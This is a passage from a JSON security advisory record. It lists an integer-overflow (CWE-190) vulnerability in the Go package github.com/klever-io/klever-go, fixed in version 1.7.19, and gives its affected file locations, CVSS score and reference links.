`core/kapp/kda/create.go:228-264,351-382`,\n  `core/kapp/kda/trigger.go`, `core/kapp/accounts/accounts.go:276-382`,\n  `core/kapp/market/market.go:443-538`, `core/kapp/ito/ito.go:415-556`,\n  `tools/converters.go:102`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/klever-io/klever-go"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.7.19"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/klever-io/klever-go/security/advisories/GHSA-cgc5-v3f2-8m2v"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/klever-io/klever-go"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-190" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T16:25:48Z",
    "nvd_published_at" : null
  }
}